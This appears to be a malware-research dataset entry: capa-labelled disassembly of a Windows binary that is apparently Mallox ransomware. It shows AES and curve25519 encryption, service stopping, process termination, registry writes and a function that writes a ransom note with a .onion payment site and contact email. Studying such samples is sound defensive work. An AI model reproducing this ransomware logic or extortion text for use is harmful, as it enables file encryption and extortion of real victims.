joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001140
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
lea r8, [0x14005bf00]
mov r9d, edx
mov r10d, 8
mov ecx, r9d
mov eax, r9d
shr ecx, 1
mov r9d, ecx
xor r9d, 0xedb88320
and al, 1
cmove r9d, ecx
sub r10, 1
jne 0x140001152
mov dword [r8], r9d
inc edx
add r8, 4
cmp edx, 0x100
jb 0x140001149
mov byte [0x14005bef8], 1
ret

Function at 0x14000118c
Capabilities:
Parse url

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rdi, rdx
mov rbx, rcx
mov esi, 0x68
lea rcx, [rbp - 0x49]
mov r8d, esi
xor edx, edx
call fcn.14001ca30
xorps xmm0, xmm0
mov dword [rbp - 0x49], esi
xor eax, eax
mov dword [rbp - 0x29], 1
movups xmmword [rdi], xmm0
mov rcx, rbx
mov qword [rdi + 0x10], rax
mov dword [rbp + 7], 1
mov dword [rbp + 0x17], 1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rbp - 0x49]
xor r8d, r8d
mov edx, eax
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCrackUrlW]
xor esi, esi
test eax, eax
je 0x14000132e
mov ecx, dword [rbp - 0x29]
lea eax, [rsi + 2]
inc ecx
lea r13, [rsi - 1]
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.140021844
mov qword [rdi], rax
test rax, rax
je 0x14000132a
mov rdx, qword [rbp - 0x31]
test rdx, rdx
je 0x14000125d
mov r8d, dword [rbp - 0x29]
mov rcx, rax
add r8, r8
call fcn.14001d950
mov ecx, dword [rbp - 0x29]
mov rax, qword [rdi]
mov word [rax + rcx*2], si
mov ecx, dword [rbp + 7]
mov r15d, 0x2f
test ecx, ecx
je 0x14000128a
mov rax, qword [rbp - 1]
test rax, rax
je 0x14000128a
cmp word [rax], r15w
jne 0x14000128a
dec ecx
add rax, 2
mov dword [rbp + 7], ecx
mov qword [rbp - 1], rax
test ecx, ecx
jne 0x14000126e
mov ebx, dword [rbp + 0x17]
mov eax, 2
inc ebx
add ebx, ecx
lea ecx, [rbx + 1]
mul rcx
cmovo rax, r13
mov rcx, rax
call fcn.140021844
mov qword [rdi + 8], rax
test rax, rax
je 0x1400012fd
mov word [rax], r15w
mov rdx, qword [rbp - 1]
test rdx, rdx
je 0x1400012d2
mov r8d, dword [rbp + 7]
mov rcx, qword [rdi + 8]
add r8, r8
add rcx, 2
call fcn.14001d950
mov rdx, qword [rbp + 0xf]
test rdx, rdx
je 0x1400012f5
mov ecx, dword [rbp + 7]
mov rax, qword [rdi + 8]
inc rcx
mov r8d, dword [rbp + 0x17]
add r8, r8
lea rcx, [rax + rcx*2]
call fcn.14001d950
mov rax, qword [rdi + 8]
mov word [rax + rbx*2], si
mov eax, dword [rbp + 7]
mov ecx, dword [rbp - 0x35]
inc eax
mov dword [rdi + 0x10], eax
movzx eax, word [rbp - 0x25]
mov word [rdi + 0x14], ax
sub ecx, 3
je 0x140001326
cmp ecx, 1
je 0x140001320
mov byte [rdi + 0x16], sil
jmp 0x14000132a
mov byte [rdi + 0x16], 2
jmp 0x14000132a
mov byte [rdi + 0x16], 1
mov al, 1
jmp 0x140001330
xor al, al
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14001a680
mov rbx, qword [rsp + 0xe0]
add rsp, 0xa0
pop r15
pop r13
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400015b4
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
lea rcx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp byte [0x14005bef8], 0
jne 0x1400015ed
call fcn.140001140
or ebx, 0xffffffff
lea rdx, [rsp + 0x20]
mov r8d, 0x10
movzx eax, byte [rdx]
mov ecx, ebx
xor rcx, rax
shr ebx, 8
movzx eax, cl
inc rdx
lea rcx, [0x14005bf00]
xor ebx, dword [rcx + rax*4]
sub r8, 1
jne 0x1400015fb
call fcn.14002184c
not ebx
xor eax, ebx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14001a680
add rsp, 0x40
pop rbx
ret

Function at 0x14000177c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r9b, r9b
movzx r11d, cl
shl r11d, 2
mov rbx, r8
movzx r8d, r9b
xor r10b, r10b
add r8d, r11d
shl r8d, 2
movzx eax, r10b
inc r10b
add eax, r8d
mov cl, byte [rax + rbx]
xor byte [rdx], cl
inc rdx
cmp r10b, 4
jb 0x14000179d
inc r9b
cmp r9b, 4
jb 0x14000178f
mov rbx, qword [rsp + 8]
ret
Function at 0x1400017c4
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rcx
mov rdi, rdx
mov ecx, 0x10
lea r14d, [rcx + 0x18]
lea r13d, [rcx - 0xc]
cmp rcx, 0x10
jne 0x14000199c
movups xmm0, xmmword [rbx + 0xb0]
mov r8, rbx
lea rdx, [rbp - 0x20]
xor ecx, ecx
movdqu xmmword [rbp - 0x20], xmm0
call fcn.14000177c
mov sil, 1
lea rdx, [rbp - 0x20]
mov r8, r13
mov rcx, rdx
mov r9, r13
movzx eax, byte [rcx]
lea r10, [0x14004a510]
mov al, byte [rax + r10]
mov byte [rcx], al
add rcx, r13
sub r9, 1
jne 0x140001832
inc rdx
sub r8, 1
jne 0x14000182c
mov al, byte [rbp - 0x1b]
mov cl, byte [rbp - 0x1f]
mov byte [rbp - 0x1f], al
mov al, byte [rbp - 0x17]
mov byte [rbp - 0x1b], al
mov al, byte [rbp - 0x13]
mov byte [rbp - 0x17], al
mov al, byte [rbp - 0x16]
mov byte [rbp - 0x13], cl
mov cl, byte [rbp - 0x1e]
mov byte [rbp - 0x1e], al
mov al, byte [rbp - 0x12]
mov byte [rbp - 0x16], cl
mov cl, byte [rbp - 0x1a]
mov byte [rbp - 0x1a], al
mov al, byte [rbp - 0x11]
mov byte [rbp - 0x12], cl
mov cl, byte [rbp - 0x1d]
mov byte [rbp - 0x1d], al
mov al, byte [rbp - 0x15]
mov byte [rbp - 0x11], al
mov al, byte [rbp - 0x19]
mov byte [rbp - 0x15], al
mov byte [rbp - 0x19], cl
cmp sil, 0xa
je 0x140001962
lea r11, [rbp - 0x1f]
mov r15, r13
mov r9b, byte [r11 - 1]
mov r8b, byte [r11 + 2]
mov dl, r9b
xor dl, byte [r11]
xor r8b, byte [r11 + 1]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r8b
imul ecx, eax, 0x1b
xor r10b, r9b
xor r10b, byte [r11]
xor cl, dl
mov dl, byte [r11 + 1]
xor dl, byte [r11]
xor cl, r9b
xor cl, r10b
mov al, dl
mov byte [r11 - 1], cl
add dl, dl
shr al, 7
movzx eax, al
imul ecx, eax, 0x1b
mov al, r8b
shr al, 7
add r8b, r8b
movzx eax, al
xor cl, dl
mov dl, byte [r11 + 2]
xor cl, byte [r11]
xor dl, r9b
xor cl, r10b
mov byte [r11], cl
imul ecx, eax, 0x1b
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
xor cl, r8b
xor cl, byte [r11 + 1]
xor cl, r10b
mov byte [r11 + 1], cl
imul ecx, eax, 0x1b
xor cl, dl
xor cl, byte [r11 + 2]
xor cl, r10b
mov byte [r11 + 2], cl
add r11, r13
sub r15, 1
jne 0x1400018ad
mov r8, rbx
lea rdx, [rbp - 0x20]
mov cl, sil
call fcn.14000177c
inc sil
jmp 0x140001825
mov r8, rbx
lea rdx, [rbp - 0x20]
mov cl, 0xa
call fcn.14000177c
mov eax, 0xf
mov cl, byte [rbx + rax + 0xb0]
cmp cl, 0xff
jne 0x140001991
mov byte [rbx + rax + 0xb0], 0
sub rax, 1
jns 0x140001975
jmp 0x14000199a
inc cl
mov byte [rbx + rax + 0xb0], cl
xor ecx, ecx
mov al, byte [rbp + rcx - 0x20]
inc rcx
xor byte [rdi], al
inc rdi
sub r14, 1
jne 0x1400017fe
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14001a680
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
Function at 0x140002fe4
Capabilities:
Encode data using xor

Disassembly:
neg r8d
mov r10, rcx
movsxd r11, r8d
mov r9, rdx
mov r8d, 0xa
sub r10, rdx
movsxd rcx, dword [r10 + r9]
movsxd rdx, dword [r9]
xor rdx, rcx
and rdx, r11
mov rax, rdx
xor rax, rcx
mov qword [r10 + r9], rax
movsxd rax, dword [r9]
xor rax, rdx
mov qword [r9], rax
lea r9, [r9 + 8]
sub r8, 1
jne 0x140002ff9
ret

Function at 0x1400036c8
Capabilities:
Encrypt data using curve25519

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x98], rax
movups xmm0, xmmword [rdx]
mov rbx, rcx
lea rcx, [rbp - 0x80]
movups xmm1, xmmword [rdx + 0x10]
mov rdx, r8
movd eax, xmm0
movups xmmword [rbp + 0x80], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x70], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x8f], al
call fcn.1400024f4
lea r9, [rbp - 0x80]
lea r8, [rbp + 0x70]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.140003024
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x30]
call fcn.14000331c
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.14000207c
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1400026e8
xor eax, eax
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.14001a680
mov rbx, qword [rsp + 0x1b8]
add rsp, 0x1a0
pop rbp
ret
Function at 0x140003c94
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov edx, dword [0x14005ccc0]
lea r9, [0x14005c300]
cmp edx, 0x270
jl 0x140003d4a
mov r8, r9
lea r11, [0x14004e6e0]
mov r10d, 0x7fffffff
lea rdx, [0x14005c68c]
mov ecx, dword [r8 + 4]
xor ecx, dword [r8]
and ecx, r10d
xor ecx, dword [r8]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r11 + rax*4]
xor ecx, dword [r8 + 0x634]
mov dword [r8], ecx
add r8, 4
cmp r8, rdx
jl 0x140003cc4
mov ecx, dword [rdx + 4]
xor ecx, dword [rdx]
and ecx, r10d
xor ecx, dword [rdx]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r11 + rax*4]
lea rax, [0x14005ccbc]
xor ecx, dword [rdx - 0x38c]
mov dword [rdx], ecx
add rdx, 4
cmp rdx, rax
jl 0x140003cef
mov ecx, dword [0x14005c300]
xor ecx, dword [0x14005ccbc]
and ecx, r10d
xor ecx, dword [0x14005ccbc]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r11 + rax*4]
xor ecx, dword [0x14005c930]
mov dword [0x14005ccbc], ecx
xor edx, edx
movsxd rax, edx
inc edx
mov dword [0x14005ccc0], edx
mov ecx, dword [r9 + rax*4]
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
Function at 0x140003d80
Capabilities:
Hash data using murmur3

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov esi, r9d
mov edi, r8d
mov rbx, rdx
mov r14, rcx
test r9d, r9d
je 0x140003e01
lea eax, [r8 - 2]
mov r9d, r8d
and eax, 0xf
and r9d, 0xf
mov r11d, dword [rdx + rax*4]
lea eax, [r8 + 1]
and eax, 0xf
mov ecx, r11d
rol ecx, 0xf
mov r10d, dword [rdx + rax*4]
mov eax, r10d
ror eax, 7
mov edx, r10d
rol edx, 0xe
xor edx, eax
shr r10d, 3
xor edx, r10d
mov eax, r11d
rol eax, 0xd
xor ecx, eax
shr r11d, 0xa
lea eax, [r8 - 7]
xor ecx, r11d
and eax, 0xf
add edx, ecx
add edx, dword [rbx + rax*4]
add dword [rbx + r9*4], edx
mov r10d, dword [rbx + r9*4]
jmp 0x140003e0a
mov eax, edi
and eax, 0xf
mov r10d, dword [rdx + rax*4]
mov rbx, qword [rsp + 8]
mov eax, 0xfffffffc
sub eax, edi
mov r11d, edi
and eax, 7
not r11d
and r11d, 7
mov r8d, dword [r14 + rax*4]
mov eax, 0xfffffffe
sub eax, edi
mov r9d, r8d
and eax, 7
ror r9d, 0xb
mov edx, dword [r14 + rax*4]
mov eax, r8d
rol eax, 7
mov ecx, edx
xor r9d, eax
mov eax, r8d
ror eax, 6
xor r9d, eax
mov eax, 0xfffffffd
sub eax, edi
and eax, 7
xor ecx, dword [r14 + rax*4]
lea rax, [0x14004a630]
and ecx, r8d
xor ecx, edx
add r9d, ecx
lea ecx, [rdi + rsi]
mov rsi, qword [rsp + 0x10]
add r9d, dword [rax + rcx*4]
mov eax, 3
sub eax, edi
add r9d, r10d
add dword [r14 + r11*4], r9d
and eax, 7
mov ecx, dword [r14 + r11*4]
add dword [r14 + rax*4], ecx
mov eax, edi
neg eax
mov ecx, 2
and eax, 7
sub ecx, edi
and ecx, 7
mov r10d, dword [r14 + rax*4]
mov eax, 1
mov edx, dword [r14 + rcx*4]
sub eax, edi
mov rdi, qword [rsp + 0x18]
and eax, 7
mov r9d, r10d
ror r9d, 0xd
mov r8d, dword [r14 + rax*4]
mov eax, r10d
rol eax, 0xa
xor r9d, eax
mov eax, r10d
ror eax, 2
xor r9d, eax
mov eax, r8d
xor eax, r10d
and r8d, r10d
and edx, eax
or edx, r8d
add r9d, edx
add dword [r14 + r11*4], r9d
mov r14, qword [rsp + 0x20]
ret

Function at 0x1400053b0
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbp, qword [rsp + 0x80]
xor ebx, ebx
mov rsi, r8
test rdx, rdx
je 0x140005449
test r8, r8
je 0x140005449
test rbp, rbp
je 0x140005449
lea rax, [r11 - 0x28]
mov qword [r11 - 0x28], rbx
lea r9d, [rbx + 2]
mov qword [r11 - 0x38], rax
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
cmp eax, 5
je 0x140005449
test eax, eax
jne 0x140005440
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 4]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
sete bl
mov eax, ebx
jmp 0x14000544b
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14001a680
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005468
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbp
push rbx
push rsi
push rdi
lea rbp, [rax - 0x2fd8]
mov eax, 0x30b8
call fcn.14001c510
sub rsp, rax
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x2fa0], rax
mov rdi, rcx
lea rsi, [rbp + 0x2fe8]
mov ecx, 1
call fcn.1400219b0
mov rbx, rax
call fcn.1400045dc
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8, rdi
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400239a8
mov r8, qword [rbp + 0x2fe0]
lea rcx, [rbp + 0xfa0]
mov ebx, 0x1000
mov r9, rsi
mov edx, ebx
call qword [sym.imp.SHLWAPI.dll_wvnsprintfW]
lea rcx, [rbp - 0x60]
xor esi, esi
mov qword [rsp + 0x38], rsi
lea r8, [rbp + 0xfa0]
mov qword [rsp + 0x30], rsi
mov r9d, eax
mov dword [rsp + 0x28], ebx
xor edx, edx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [0x14005be28]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea edx, [rsi + 4]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea r8d, [rsi + 1]
xor r9d, r9d
mov dword [rsp + 0x20], edx
lea rcx, [0x14005bc20]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400055fc
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx ecx, word [rsp + 0x64]
movzx edx, word [rsp + 0x62]
movzx r8d, word [rsp + 0x60]
movzx r10d, word [rsp + 0x5e]
movzx r11d, word [rsp + 0x5a]
movzx r9d, word [rsp + 0x58]
mov dword [rsp + 0x40], ecx
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x38], edx
lea edx, [rsi + 0x32]
mov dword [rsp + 0x30], r8d
lea r8, str.__d__02d__02d__02d__02d__02d__t
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call qword [sym.imp.SHLWAPI.dll_wnsprintfA]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rsi
mov r8d, eax
lea rdx, [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rsi
mov r8d, edi
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14005be28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rbp + 0x2fa0]
xor rcx, rsp
call fcn.14001a680
add rsp, 0x30b8
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x14000589c
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400058f6
lea ebx, [rax + 1]
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400058f6
inc ebx
cmp ebx, 0x32
jl 0x1400058d3
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140005914
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000596e
lea ebx, [rax + 1]
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000596e
inc ebx
cmp ebx, 0x32
jl 0x14000594b
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140006284
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r15
sub rsp, 0x70
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp dword [0x14005f138], 0
lea r12, [0x14005f150]
mov rsi, rcx
jne 0x14000635e
lea rcx, [0x14005be70]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8, [rsp + 0x48]
call fcn.140005700
lea rcx, [rsp + 0x48]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rbp, eax
xor r8d, r8d
lea r15, str.Hello_r_n_r_nYour_files_are_encrypted_and_can_not_be_used_r_nWe_have_downloaded_your_confidential_data_and_are_ready_to_publish_it_on_our_blog_r_nTo_return_your_files_in_work_condition_you_need_decryption_tool_r_nFollow_the_instructions_to_decrypt_all_your_data_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nIf_you_want__on_our_site_you_can_decrypt_one_file_for_free._Free_test_decryption_allowed_only_for_not_valuable_file_with_size_less_than_3MB_r_n_r_nHow_to_get_decryption_tool:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_payment_information_and_we_can_make_free_test_decryption_here_r_n6_After_payment__you_will_receive_a_tool_for_decrypting_files__and_we_will_delete_the_data_that_was_taken_from_you_r_n_r_nOur_blog_of_leaked_companies:_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_nIf_you_are_unable_to_contact_us_through_the_site__then_you_can_email_us:_mallox_onionmail.org_r_nWaiting_for_a_response_via_mail_can_be_several_days._Do_not_use_it_if_you_have_not_tried_contacting_through_the_site.
mov dl, byte [r8 + r15]
mov r9d, ebx
add r9, r12
mov byte [r9], dl
cmp dl, 0x7b
jne 0x14000633d
lea eax, [r8 + 1]
cmp byte [rax + r15], 0x69
jne 0x14000633d
lea eax, [r8 + 2]
cmp byte [rax + r15], 0x64
jne 0x14000633d
lea edi, [r8 + 3]
cmp byte [rdi + r15], 0x7d
jne 0x14000633d
mov r8, rbp
lea rdx, [rsp + 0x48]
mov rcx, r9
call fcn.14001d950
dec ebx
mov r8d, edi
add ebx, ebp
inc ebx
inc r8d
cmp r8d, 0x561
jb 0x1400062f3
lea rcx, [0x14005be70]
mov dword [0x14005f138], ebx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400063b9
mov r8d, dword [0x14005f138]
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14001a680
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r12
pop rdi
ret
Function at 0x14000bd4c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x20
cmp byte [rcx + 0x28], 0
mov r14, rdx
mov rsi, rcx
jne 0x14000bd98
mov rdi, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
je 0x14000bd98
lea rdx, [r14 + 8]
mov rcx, rdi
call fcn.14000cd38
cmp rax, 0xffffffffffffffff
jne 0x14000bd8d
add rdi, 0x60
cmp rdi, qword [rsi + 0x10]
jne 0x14000bd6f
jmp 0x14000bd98
mov rdx, rdi
mov rcx, rsi
call fcn.14000da1c
mov r8d, dword [r14]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000bdd0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14000da1c
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x3f], rax
cmp byte [rcx + 0x28], 0
mov rbx, rdx
mov rdi, rcx
jne 0x14000dbc2
and dword [rbp + 0xf], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp qword [rbx + 0x18], 8
mov rsi, rax
jb 0x14000da65
mov rbx, qword [rbx]
mov rcx, qword [rdi + 0x20]
mov r8d, 0x2e
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov qword [rbp + 7], rax
mov rbx, rax
test rax, rax
je 0x14000dbc2
and qword [rsp + 0x50], 0
or edx, 0xffffffff
and qword [rsp + 0x48], 0
mov r9d, edx
and qword [rsp + 0x40], 0
mov r8d, 4
and qword [rsp + 0x38], 0
mov rcx, rax
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000dbb9
cmp dword [rbp + 0x1b], 1
je 0x14000dbb9
jmp 0x14000db43
mov ecx, dword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000dbb9
cmp dword [rbp + 0x1b], 1
je 0x14000dbb9
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rcx
ja 0x14000dbb9
cmp dword [rbp + 0x1b], 3
je 0x14000daf9
lea rdx, [rbp + 7]
mov rcx, rdi
call fcn.14000dbe4
mov rbx, qword [rbp + 7]
lea r8, [rbp + 0x17]
mov rcx, rbx
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x14000dbb9
jmp 0x14000dbb3
mov ecx, dword [rbp + 0x2f]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0xf]
mov r9d, 0x24
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x14000dbb9
cmp dword [rbp + 0x1b], 1
je 0x14000dbb9
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, dword [rdi + 0x2c]
sub rax, rsi
cmp rax, rcx
ja 0x14000dbb9
cmp dword [rbp + 0x1b], 1
jne 0x14000db71
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14001a680
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret